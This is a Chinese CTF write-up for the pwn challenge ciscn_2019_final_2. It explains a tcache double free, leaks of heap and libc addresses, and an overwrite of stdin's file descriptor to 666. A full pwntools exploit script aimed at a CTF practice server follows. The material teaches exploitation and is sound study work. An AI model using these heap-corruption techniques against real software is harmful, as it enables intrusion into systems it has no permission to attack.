ciscn_2019_final_2:
这题对我来说太难啦,写篇博文好好理理思路,如有错误,还望指正
参考师傅:ha1vk
checksec一下
64位,保护全开
逆向分析:
主界面main函数:
init函数:
Sandbox_Loading()函数:
开了个沙盒,貌似啥都用不了了
allocate()函数:
说错啦,第三行字那里,复制可以帮我们改到size
free函数:
show函数:
byebye函数:
大致思路:
堆利用用劫持_IO_2_1_stdin_结构体,修改文件描述符为666.
具体步骤:
1.先申请总3*0x20+0x30=0x90的chunk,以便后面unsortbin利用
剩下一个0x20用于doublefree
add(1,0xABCDEFabcdef)
free(1)
for i in range(4):
add(2,0xABCDEF)
2.double free,show泄露堆的最后四位
free(2)
add(1,0xabcdefabcdef)#clear the bool
free(2)
show(2)
ru('your short type inode number :')
heap_low_addr=int(ru('\n')[:-1])
if heap_low_addr < 0:
heap_low_addr += 0x10000
print 'heap_low_2byte='+hex(heap_low_addr)
3.这两步使bin链指向最前面申请的0x30大小的chunk,并把原本地址的清零
,不让bin链指向输入的内容
add(2,heap_low_addr-0xa0)
add(2,0)
4.这两步释放最初的0x30大小的chunk,再从tcachebin链中0x20的地址申请出来,我们能改size0x91,
free(1)
add(2,0x30 + 0x20 * 3 + 1)
5.重复释放这个0x90大小的chunk,填满tcachebin,然后释放就能到unsortbin中,show泄露main_arena+96地址后八位
for i in range(7):
free(1)
add(2,0)#bool
free(1)
show(1)
ru('your int type inode number :')
main_arena_low_4byte=int(ru('\n')[:-1])-96
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
print 'main_arena='+hex(main_arena_low_4byte)
6.算出libc_base后八位和stdin的_filno的后八位
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70
print 'libc_base_low_4byte='+hex(libc_base_low_4byte)
print 'stdin_filno_low_4byte='+hex(stdin_filno_low_4byte)
7.add,会从unsortbin中割0x20,把后4位成stdin_filno的后4位
add(2,stdin_filno_low_4byte&0xffff)
8.这里add1,会从tcachebin中0x30取出一个链,就指向stdin_filno了
再add就能改为666了
add(1,0)
add(1,666)
leave('a')
exp:
from pwn import *
from LibcSearcher import *
local_file ='./ciscn_final_2'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',27943)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------------------------------------
def add(ty_pe,number):
sla('> ','1')
sla('>',str(ty_pe))
sla('your inode number:',str(number))
def free(ty_pe):
sla('> ','2')
sla('>',str(ty_pe))
def show(ty_pe):
sla('> ','3')
sla('>',str(ty_pe))
def leave(content):
sla('> ','4')
sla('what do you want to say at last? \n',content)
#-----------------------------------------------------
add(1,0xABCDEFabcdef)
free(1)
for i in range(4):
add(2,0xABCDEF)
free(2)
add(1,0xabcdefabcdef)#bool
free(2)
show(2)
ru('your short type inode number :')
heap_low_addr=int(ru('\n')[:-1])
if heap_low_addr < 0:
heap_low_addr += 0x10000
print 'heap_low_2byte='+hex(heap_low_addr)
add(2,heap_low_addr-0xa0)
add(2,0)
free(1)
add(2,0x30 + 0x20 * 3 + 1)
for i in range(7):
free(1)
add(2,0)
free(1)
show(1)
ru('your int type inode number :')
main_arena_low_4byte=int(ru('\n')[:-1])-96
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
print 'main_arena='+hex(main_arena_low_4byte)
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70
print 'libc_base_low_4byte='+hex(libc_base_low_4byte)
print 'stdin_filno_low_4byte='+hex(stdin_filno_low_4byte)
add(2,stdin_filno_low_4byte&0xffff)
add(1,0)
add(1,666)
leave('a')
#debug()
r.interactive()